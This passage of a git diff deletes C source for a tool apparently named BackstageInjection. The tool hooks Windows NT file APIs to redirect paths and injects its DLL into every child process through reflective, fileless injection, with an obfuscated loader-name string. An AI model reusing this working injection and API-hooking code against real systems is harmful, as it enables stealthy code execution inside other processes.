searchLen; - } - else { - newPath[destIdx++] = normalizedPath[srcIdx++]; - } - } - - *newLength = destIdx; - return newPath; - } - - // Hook implementations - NTSTATUS NTAPI HookedNtCreateFile( - PHANDLE FileHandle, - ULONG DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PIO_STATUS_BLOCK IoStatusBlock, - PLARGE_INTEGER AllocationSize, - ULONG FileAttributes, - ULONG ShareAccess, - ULONG CreateDisposition, - ULONG CreateOptions, - PVOID EaBuffer, - ULONG EaLength - ) { - PUNICODE_STRING originalString = NULL; - UNICODE_STRING newString = { 0 }; - WCHAR* buffer = NULL; - - if (!OriginalNtCreateFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - - __try { - if (g_HooksInitialized && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { - SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); - - if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { - SIZE_T newLength = 0; - buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); - - if (buffer) { - if (newLength > UNICODE_STRING_MAX_WCHARS) { - // Replacement path too long to fit in a UNICODE_STRING (USHORT - // byte-count would wrap). Skip redirection and use original path. - HeapFree(GetProcessHeap(), 0, buffer); - buffer = NULL; - } else { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; - } - } - } - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - if (originalString) { ObjectAttributes->ObjectName = originalString; originalString = NULL; } - if (buffer) { HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; } - } - - NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, - AllocationSize, FileAttributes, ShareAccess, CreateDisposition, - CreateOptions, EaBuffer, EaLength); - - if (originalString) { - ObjectAttributes->ObjectName = originalString; - if (buffer) HeapFree(GetProcessHeap(), 0, buffer); - } - - return result; - } - - NTSTATUS NTAPI HookedNtOpenFile( - PHANDLE FileHandle, - ULONG DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PIO_STATUS_BLOCK IoStatusBlock, - ULONG ShareAccess, - ULONG OpenOptions - ) { - if (!OriginalNtOpenFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - - PUNICODE_STRING originalString = NULL; - UNICODE_STRING newString = { 0 }; - WCHAR* buffer = NULL; - - __try { - if (g_HooksInitialized && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { - SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); - - if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { - SIZE_T newLength = 0; - buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); - - if (buffer) { - if (newLength > UNICODE_STRING_MAX_WCHARS) { - HeapFree(GetProcessHeap(), 0, buffer); - buffer = NULL; - } else { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; - } - } - } - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - if (originalString) { ObjectAttributes->ObjectName = originalString; originalString = NULL; } - if (buffer) { HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; } - } - - NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); - - if (originalString) { - ObjectAttributes->ObjectName = originalString; - if (buffer) HeapFree(GetProcessHeap(), 0, buffer); - } - - return result; - } - - NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) { - if (!OriginalNtDeleteFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - - PUNICODE_STRING originalString = NULL; - UNICODE_STRING newString = { 0 }; - WCHAR* buffer = NULL; - - __try { - if (g_HooksInitialized && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { - SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); - - if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { - SIZE_T newLength = 0; - buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); - - if (buffer) { - if (newLength > UNICODE_STRING_MAX_WCHARS) { - HeapFree(GetProcessHeap(), 0, buffer); - buffer = NULL; - } else { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; - } - } - } - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - if (originalString) { ObjectAttributes->ObjectName = originalString; originalString = NULL; } - if (buffer) { HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; } - } - - NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes); - - if (originalString) { - ObjectAttributes->ObjectName = originalString; - if (buffer) HeapFree(GetProcessHeap(), 0, buffer); - } - - return result; - } - - NTSTATUS NTAPI HookedNtSetInformationFile( - HANDLE FileHandle, - PIO_STATUS_BLOCK IoStatusBlock, - PVOID FileInformation, - ULONG Length, - FILE_INFORMATION_CLASS FileInformationClass - ) { - if (!OriginalNtSetInformationFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - - // FileRenameInformation (class 10): BOOLEAN ReplaceIfExists + HANDLE + ULONG len + WCHAR[] - // FileRenameInformationEx (class 65): ULONG Flags (32-bit bitfield) + HANDLE + ULONG len + WCHAR[] - // These have different first-field types; use separate structs to avoid truncating Flags. - typedef struct { - BOOLEAN ReplaceIfExists; - HANDLE RootDirectory; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_RENAME_INFO_V1; - - typedef struct { - ULONG Flags; // FILE_RENAME_REPLACE_IF_EXISTS | FILE_RENAME_POSIX_SEMANTICS | ... - HANDLE RootDirectory; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_RENAME_INFO_V2; - - WCHAR* newPath = NULL; - - __try { - if (g_HooksInitialized && FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) { - // Use V1 layout to read FileNameLength (offset is the same in both structs - // after the first field + alignment). Only access FileName[], which starts - // at the same relative position in both. - FILE_RENAME_INFO_V1* renameInfoV1 = (FILE_RENAME_INFO_V1*)FileInformation; - FILE_RENAME_INFO_V2* renameInfoV2 = (FILE_RENAME_INFO_V2*)FileInformation; - - ULONG fileNameLength = (FileInformationClass == FileRenameInformation) - ? renameInfoV1->FileNameLength - : renameInfoV2->FileNameLength; - WCHAR* fileName = (FileInformationClass == FileRenameInformation) - ? renameInfoV1->FileName - : renameInfoV2->FileName; - - if (fileNameLength > 0) { - SIZE_T pathLength = fileNameLength / sizeof(WCHAR); - - if (NeedsRedirection(fileName, pathLength)) { - SIZE_T newLength = 0; - newPath = ReplacePath(fileName, pathLength, &newLength); - - if (newPath) { - ULONG newInfoSize; - LPVOID newRenameInfo = NULL; - - if (FileInformationClass == FileRenameInformation) { - newInfoSize = (ULONG)(sizeof(FILE_RENAME_INFO_V1) - sizeof(WCHAR) + newLength * sizeof(WCHAR)); - FILE_RENAME_INFO_V1* ni = (FILE_RENAME_INFO_V1*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); - if (ni) { - ni->ReplaceIfExists = renameInfoV1->ReplaceIfExists; - ni->RootDirectory = renameInfoV1->RootDirectory; - ni->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); - memcpy(ni->FileName, newPath, ni->FileNameLength); - newRenameInfo = ni; - } - } else { - newInfoSize = (ULONG)(sizeof(FILE_RENAME_INFO_V2) - sizeof(WCHAR) + newLength * sizeof(WCHAR)); - FILE_RENAME_INFO_V2* ni = (FILE_RENAME_INFO_V2*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); - if (ni) { - ni->Flags = renameInfoV2->Flags; // preserve all 32-bit flags - ni->RootDirectory = renameInfoV2->RootDirectory; - ni->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); - memcpy(ni->FileName, newPath, ni->FileNameLength); - newRenameInfo = ni; - } - } - - HeapFree(GetProcessHeap(), 0, newPath); - newPath = NULL; - - if (newRenameInfo) { - NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass); - HeapFree(GetProcessHeap(), 0, newRenameInfo); - return result; - } - } - } - } - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - // Free newPath if an exception fires after allocation but before the HeapFree below. - if (newPath) { HeapFree(GetProcessHeap(), 0, newPath); newPath = NULL; } - } - - return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass); - } - - NTSTATUS NTAPI HookedNtQueryAttributesFile( - POBJECT_ATTRIBUTES ObjectAttributes, - PVOID FileInformation - ) { - if (!OriginalNtQueryAttributesFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - - PUNICODE_STRING originalString = NULL; - UNICODE_STRING newString = { 0 }; - WCHAR* buffer = NULL; - - __try { - if (g_HooksInitialized && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { - SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); - - if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { - SIZE_T newLength = 0; - buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); - - if (buffer) { - if (newLength > UNICODE_STRING_MAX_WCHARS) { - HeapFree(GetProcessHeap(), 0, buffer); - buffer = NULL; - } else { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; - } - } - } - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - if (originalString) { ObjectAttributes->ObjectName = originalString; originalString = NULL; } - if (buffer) { HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; } - } - - NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation); - - if (originalString) { - ObjectAttributes->ObjectName = originalString; - if (buffer) HeapFree(GetProcessHeap(), 0, buffer); - } - - return result; - } - - NTSTATUS NTAPI HookedNtQueryFullAttributesFile( - POBJECT_ATTRIBUTES ObjectAttributes, - PVOID FileInformation - ) { - if (!OriginalNtQueryFullAttributesFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - - PUNICODE_STRING originalString = NULL; - UNICODE_STRING newString = { 0 }; - WCHAR* buffer = NULL; - - __try { - if (g_HooksInitialized && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { - SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); - - if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { - SIZE_T newLength = 0; - buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); - - if (buffer) { - if (newLength > UNICODE_STRING_MAX_WCHARS) { - HeapFree(GetProcessHeap(), 0, buffer); - buffer = NULL; - } else { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; - } - } - } - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - if (originalString) { ObjectAttributes->ObjectName = originalString; originalString = NULL; } - if (buffer) { HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; } - } - - NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation); - - if (originalString) { - ObjectAttributes->ObjectName = originalString; - if (buffer) HeapFree(GetProcessHeap(), 0, buffer); - } - - return result; - } - - NTSTATUS NTAPI HookedNtQueryDirectoryFile( - HANDLE FileHandle, - HANDLE Event, - PVOID ApcRoutine, - PVOID ApcContext, - PIO_STATUS_BLOCK IoStatusBlock, - PVOID FileInformation, - ULONG Length, - FILE_INFORMATION_CLASS FileInformationClass, - BOOLEAN ReturnSingleEntry, - PUNICODE_STRING FileName, - BOOLEAN RestartScan - ) { - if (!OriginalNtQueryDirectoryFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL - return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, - FileInformation, Length, FileInformationClass, - ReturnSingleEntry, FileName, RestartScan); - } - - NTSTATUS NTAPI HookedNtQueryDirectoryFileEx( - HANDLE FileHandle, - HANDLE Event, - PVOID ApcRoutine, - PVOID ApcContext, - PIO_STATUS_BLOCK IoStatusBlock, - PVOID FileInformation, - ULONG Length, - FILE_INFORMATION_CLASS FileInformationClass, - ULONG QueryFlags, - PUNICODE_STRING FileName - ) { - if (!OriginalNtQueryDirectoryFileEx) return 0xC0000001L; // STATUS_UNSUCCESSFUL - return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, - FileInformation, Length, FileInformationClass, - QueryFlags, FileName); - } - - // Inject the DLL into a child process via reflective injection (no file on disk) - static DWORD _rva2fo(DWORD rva, const BYTE* pe, DWORD peSize, DWORD sectionOff, WORD numSections) { - for (WORD i = 0; i < numSections; i++) { - DWORD off = sectionOff + (DWORD)i * 40; - if (off + 40 > peSize) break; - DWORD virtualAddr = *(DWORD*)(pe + off + 12); - DWORD rawDataSize = *(DWORD*)(pe + off + 16); - DWORD rawDataPtr = *(DWORD*)(pe + off + 20); - if (rva >= virtualAddr && rva < virtualAddr + rawDataSize) { - return rva - virtualAddr + rawDataPtr; - } - } - // Fallback: if the RVA falls before any section's raw data it maps 1:1. - // Guard the read of the first section's PointerToRawData (offset +20) so a - // malformed or truncated PE with sectionOff near the end of the buffer does - // not produce an out-of-bounds read. - if (numSections > 0 && sectionOff + 24 <= peSize) { - DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20); - if (rva < firstRawPtr) return rva; - } - return 0; - } - - static DWORD FindReflectiveLoaderFileOffset(const BYTE* pe, DWORD peSize) { - if (peSize < 64 || pe[0] != 'M' || pe[1] != 'Z') return 0; - - DWORD lfanew = *(DWORD*)(pe + 60); - if (lfanew + 4 > peSize) return 0; - if (*(DWORD*)(pe + lfanew) != 0x00004550) return 0; // PE sig - - DWORD coffOff = lfanew + 4; - if (coffOff + 20 > peSize) return 0; - WORD numberOfSections = *(WORD*)(pe + coffOff + 2); - WORD sizeOfOptionalHeader = *(WORD*)(pe + coffOff + 16); - - DWORD optOff = coffOff + 20; - if (optOff + 2 > peSize) return 0; - WORD magic = *(WORD*)(pe + optOff); - - DWORD exportDirRVA = 0; - if (magic == 0x20b) { // PE32+ - DWORD ddOff = optOff + 112; - if (ddOff + 8 > peSize) return 0; - exportDirRVA = *(DWORD*)(pe + ddOff); - } else if (magic == 0x10b) { // PE32 - DWORD ddOff = optOff + 96; - if (ddOff + 8 > peSize) return 0; - exportDirRVA = *(DWORD*)(pe + ddOff); - } else { - return 0; - } - if (exportDirRVA == 0) return 0; - - DWORD sectionOff = optOff + sizeOfOptionalHeader; - // sizeOfOptionalHeader is an untrusted WORD from the PE header. If it is - // abnormally large, sectionOff would exceed peSize and every subsequent - // _rva2fo call and section-table read would be out-of-bounds. - if (sectionOff > peSize) return 0; - - // RVA to file offset helper (inline) - #define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections) - DWORD exportDirFO = RVA2FO(exportDirRVA); - if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0; - - DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24); - // A legitimately built DLL will have far fewer than 65536 exports. Cap the - // value to prevent integer overflow in the loop index arithmetic (i * 4) when - // the PE contains an abnormally large numberOfNames. - if (numberOfNames > 0x10000) return 0; - DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28); - DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32); - DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36); - - DWORD namesFO = RVA2FO(addressOfNamesRVA); - DWORD funcsFO = RVA2FO(addressOfFunctionsRVA); - DWORD ordinalsFO = RVA2FO(addressOfOrdinalsRVA); - if (namesFO == 0 || funcsFO == 0 || ordinalsFO == 0) return 0; - - for (DWORD i = 0; i < numberOfNames; i++) { - if (namesFO + i * 4 + 4 > peSize) break; - DWORD nameRVA = *(DWORD*)(pe + namesFO + i * 4); - DWORD nameFO = RVA2FO(nameRVA); - if (nameFO == 0 || nameFO >= peSize) continue; - - // Check for "ReflectiveLoader" substring - const char* name = (const char*)(pe + nameFO); - BOOL found = FALSE; - for (DWORD k = 0; nameFO + k < peSize && name[k] != 0; k++) { - if (name[k] == 'R' && nameFO + k + 16 <= peSize) { - if (memcmp(&name[k], OBFS(_enc_ReflectiveLoader), 16) == 0) { - found = TRUE; - break; - } - } - } - if (!found) continue; - - if (ordinalsFO + i * 2 + 2 > peSize) continue; - WORD ordinal = *(WORD*)(pe + ordinalsFO + i * 2); - if (funcsFO + ordinal * 4 + 4 > peSize) continue; - DWORD funcRVA = *(DWORD*)(pe + funcsFO + ordinal * 4); - return RVA2FO(funcRVA); - } - #undef RVA2FO - return 0; - } - - static BOOL ReflectiveInjectIntoChild(HANDLE hProcess, const BYTE* dllBytes, DWORD dllSize) { - DWORD loaderOffset = FindReflectiveLoaderFileOffset(dllBytes, dllSize); - if (loaderOffset == 0) { - return FALSE; - } - - LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, - MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!remoteMem) { - return FALSE; - } - - SIZE_T written; - if (!WriteProcessMemory(hProcess, remoteMem, dllBytes, dllSize, &written)) { - VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); - return FALSE; - } - - LPTHREAD_START_ROUTINE remoteLoader = - (LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset); - - HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, - remoteLoader, NULL, 0, NULL); - if (!hThread) { - return FALSE; - } - - DWORD waitResult = WaitForSingleObject(hThread, 30000); - CloseHandle(hThread); - - if (waitResult == WAIT_OBJECT_0) { - return TRUE; - } else if (waitResult == WAIT_TIMEOUT) { - // The loader thread is still running. Returning FALSE causes - // HookedCreateProcessW to resume the child with a comment noting that - // hooks may not be fully installed yet (fail-open policy: we still - // resume to avoid leaving the child process permanently suspended). - return FALSE; - } else { - // WAIT_FAILED or any unexpected value - return FALSE; - } - } - - BOOL WINAPI HookedCreateProcessW( - LPCWSTR lpApplicationName, - LPWSTR lpCommandLine, - LPSECURITY_ATTRIBUTES lpProcessAttributes, - LPSECURITY_ATTRIBUTES lpThreadAttributes, - BOOL bInheritHandles, - DWORD dwCreationFlags, - LPVOID lpEnvironment, - LPCWSTR lpCurrentDirectory, - LPSTARTUPINFOW lpStartupInfo, - LPPROCESS_INFORMATION lpProcessInformation - ) { - if (!OriginalCreateProcessW) return FALSE; - - // Snapshot g_DllRawBytes / g_DllRawSize into locals *before* any check. - // RemoveNtApiHooks() can race here: it calls UnmapViewOfFile(g_DllRawBytes) - // and sets g_DllRawBytes = NULL on DLL_PROCESS_DETACH. Without the snapshot, - // a TOCTOU between the NULL-check below and the use inside ReflectiveInjectIntoChild - // would pass the now-unmapped pointer to WriteProcessMemory, causing an AV. - const BYTE* localDllBytes = (const BYTE*)g_DllRawBytes; - DWORD localDllSize = g_DllRawSize; - - if (!g_HooksInitialized || !localDllBytes || localDllSize == 0) { - return OriginalCreateProcessW( - lpApplicationName, lpCommandLine, - lpProcessAttributes, lpThreadAttributes, - bInheritHandles, dwCreationFlags, - lpEnvironment, lpCurrentDirectory, - lpStartupInfo, lpProcessInformation - ); - } - - BOOL wasSuspended = (dwCreationFlags & CREATE_SUSPENDED) != 0; - DWORD modifiedFlags = dwCreationFlags | CREATE_SUSPENDED; - - BOOL result = OriginalCreateProcessW( - lpApplicationName, lpCommandLine, - lpProcessAttributes, lpThreadAttributes, - bInheritHandles, modifiedFlags, - lpEnvironment, lpCurrentDirectory, - lpStartupInfo, lpProcessInformation - ); - - if (result && lpProcessInformation) { - ReflectiveInjectIntoChild(lpProcessInformation->hProcess, localDllBytes, localDllSize); - - // Always resume the child if we suspended it — don't leave zombie processes. - // Even if injection failed we resume; the child runs without hooks rather than - // hanging forever (fail-open policy). - if (!wasSuspended) { - ResumeThread(lpProcessInformation->hThread); - } - } - - return result; - } - - // Install all hooks - void InstallNtApiHooks(LPVOID lpParameter) { - // Use a global try-catch to prevent any crashes - __try { - // Initialize to empty strings to prevent crashes - g_SearchString[0] = L'\0'; - g_ReplacementString[0] = L'\0'; - g_DllSectionHandle = NULL; - g_DllRawBytes = NULL; - g_DllRawSize = 0; - - // Try to get configuration from environment variables - __try { - // Use the same capacity as the global g_SearchString / g_ReplacementString - // buffers (2048 WCHARs) so that very long paths are never silently truncated. - // GetEnvironmentVariableW returns 0 on error; if the return value equals the - // buffer size, the value was truncated — treat that as an error and log it. - WCHAR envSearchString[2048] = { 0 }; - WCHAR envReplaceString[2048] = { 0 }; - - DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 2048); - DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 2048); - - // A return value >= buffer capacity means the value was truncated. - if (searchLen >= 2048) { - searchLen = 0; - } - if (replaceLen >= 2048) { - replaceLen = 0; - } - - if (searchLen > 0 && replaceLen > 0) { - wcsncpy_s(g_SearchString, 2048, envSearchString, searchLen); - g_SearchString[searchLen] = L'\0'; - wcsncpy_s(g_ReplacementString, 2048, envReplaceString, replaceLen); - g_ReplacementString[replaceLen] = L'\0'; - } - - // Read DLL section for child process injection (in-memory, no file on disk). - // Section names are kernel object names — MAX_PATH (260) is more than enough, - // but we use 512 to be safe. DLL size is a plain decimal number, 32 is ample. - WCHAR envSectionName[512] = { 0 }; - WCHAR envDllSize[32] = { 0 }; - DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512); - DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32); - - if (sectionNameLen >= 512) { - sectionNameLen = 0; - } - if (dllSizeLen >= 32) { - dllSizeLen = 0; - } - - if (sectionNameLen > 0 && dllSizeLen > 0) { - // Validate that every character is an ASCII digit before converting. - // On non-English systems the string could theoretically contain locale- - // specific digit characters (e.g. Arabic-Indic numerals) which would - // cause the old subtraction-based parser to produce garbage values and - // later crash when MapViewOfFile mapped the wrong size. - BOOL allDigits = TRUE; - for (DWORD i = 0; i < dllSizeLen; i++) { - if (envDllSize[i] < L'0' || envDllSize[i] > L'9') { allDigits = FALSE; break; } - } - if (allDigits) { - WCHAR* endPtr = NULL; - g_DllRawSize = (DWORD)wcstoul(envDllSize, &endPtr, 10); - } else { - g_DllRawSize = 0; - } - - if (g_DllRawSize == 0) { - goto skip_section_open; - } - g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName); - if (g_DllSectionHandle) { - g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize); - if (!g_DllRawBytes) { - CloseHandle(g_DllSectionHandle); - g_DllSectionHandle = NULL; - g_DllRawSize = 0; - } - } else { - g_DllRawSize = 0; - } - skip_section_open:; - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - g_SearchString[0] = L'\0'; - g_ReplacementString[0] = L'\0'; - } - - // Initialize MinHook (this must succeed) - if (MH_Initialize() != MH_OK) { - return; - } - - HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); - if (!ntdll) { - MH_Uninitialize(); - return; - } - - #define SAFE_HOOK(target, detour, ppOriginal, label) do { \ - MH_STATUS _cr = MH_CreateHook((LPVOID)(target), (LPVOID)(detour), (LPVOID*)(ppOriginal)); \ - if (_cr == MH_OK) { \ - MH_STATUS _en = MH_EnableHook((LPVOID)(target)); \ - if (_en != MH_OK) { \ - MH_RemoveHook((LPVOID)(target)); \ - *(ppOriginal) = NULL; \ - } \ - } else { \ - *(ppOriginal) = NULL; \ - } \ - } while(0) - - // Hook all the NT APIs - FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile"); - if (pNtCreateFile) { - SAFE_HOOK(pNtCreateFile, &HookedNtCreateFile, &OriginalNtCreateFile, "NtCreateFile"); - } - - FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile"); - if (pNtOpenFile) { - SAFE_HOOK(pNtOpenFile, &HookedNtOpenFile, &OriginalNtOpenFile, "NtOpenFile"); - } - - FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile"); - if (pNtDeleteFile) { - SAFE_HOOK(pNtDeleteFile, &HookedNtDeleteFile, &OriginalNtDeleteFile, "NtDeleteFile"); - } - - FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile"); - if (pNtSetInformationFile) { - SAFE_HOOK(pNtSetInformationFile, &HookedNtSetInformationFile, &OriginalNtSetInformationFile, "NtSetInformationFile"); - } - - FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile"); - if (pNtQueryAttributesFile) { - SAFE_HOOK(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, &OriginalNtQueryAttributesFile, "NtQueryAttributesFile"); - } - - FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile"); - if (pNtQueryFullAttributesFile) { - SAFE_HOOK(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, &OriginalNtQueryFullAttributesFile, "NtQueryFullAttributesFile"); - } - - FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile"); - if (pNtQueryDirectoryFile) { - SAFE_HOOK(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, &OriginalNtQueryDirectoryFile, "NtQueryDirectoryFile"); - } - - FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx"); - if (pNtQueryDirectoryFileEx) { - SAFE_HOOK(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, &OriginalNtQueryDirectoryFileEx, "NtQueryDirectoryFileEx"); - } - - HMODULE k32 = GetModuleHandleW(L"kernel32.dll"); - if (k32) { - FARPROC pCreateProcessW = GetProcAddress(k32, "CreateProcessW"); - if (pCreateProcessW) { - SAFE_HOOK(pCreateProcessW, &HookedCreateProcessW, &OriginalCreateProcessW, "CreateProcessW"); - } - } - - #undef SAFE_HOOK - - if (OriginalNtCreateFile && OriginalNtOpenFile) { - g_HooksInitialized = TRUE; - } else { - MH_DisableHook(MH_ALL_HOOKS); - MH_Uninitialize(); - OriginalNtCreateFile = NULL; - OriginalNtOpenFile = NULL; - OriginalNtDeleteFile = NULL; - OriginalNtSetInformationFile = NULL; - OriginalNtQueryAttributesFile = NULL; - OriginalNtQueryFullAttributesFile = NULL; - OriginalNtQueryDirectoryFile = NULL; - OriginalNtQueryDirectoryFileEx = NULL; - OriginalCreateProcessW = NULL; - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - // Fail silently on hook installation. - } - } - - void RemoveNtApiHooks() { - __try { - g_HooksInitialized = FALSE; - - // Disable JMP patches in all target functions. - MH_DisableHook(MH_ALL_HOOKS); - - // Give any thread that passed the g_HooksInitialized guard but has not yet - // called Original*() a brief window to finish. This is a best-effort - // mitigation; a proper fix requires a reader-writer barrier (e.g. SRWLOCK). - Sleep(50); - - // Free trampoline memory. After this point the Original* pointers are - // dangling. NULL them immediately so any racing thread that calls through - // them gets a clean NULL-dereference AV (caught by the hook's __try/__except) - // rather than a use-after-free at an arbitrary freed address. - MH_Uninitialize(); - - OriginalNtCreateFile = NULL; - OriginalNtOpenFile = NULL; - OriginalNtDeleteFile = NULL; - OriginalNtSetInformationFile = NULL; - OriginalNtQueryAttributesFile = NULL; - OriginalNtQueryFullAttributesFile = NULL; - OriginalNtQueryDirectoryFile = NULL; - OriginalNtQueryDirectoryFileEx = NULL; - OriginalCreateProcessW = NULL; - - if (g_DllRawBytes) { - UnmapViewOfFile(g_DllRawBytes); - g_DllRawBytes = NULL; - } - g_DllRawSize = 0; - if (g_DllSectionHandle) { - CloseHandle(g_DllSectionHandle); - g_DllSectionHandle = NULL; - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - // Fail silently on cleanup - } - } - -#ifdef __cplusplus -} -#endif diff --git a/BackstageInjection/src/NtApiHooks.h b/BackstageInjection/src/NtApiHooks.h deleted file mode 100644 index 4c6c59a..0000000 --- a/BackstageInjection/src/NtApiHooks.h +++ /dev/null @@ -1,23 +0,0 @@ -//===============================================================================================// -// NT API Hooking Header -//===============================================================================================// -#ifndef _NTAPIHOOKS_H -#define _NTAPIHOOKS_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - - // Initialize all NT API hooks - void InstallNtApiHooks(LPVOID lpParameter); - - // Remove all NT API hooks - void RemoveNtApiHooks(); - -#ifdef __cplusplus -} -#endif - -#endif // _NTAPIHOOKS_H diff --git a/BackstageInjection/src/ReflectiveDLLInjection.h 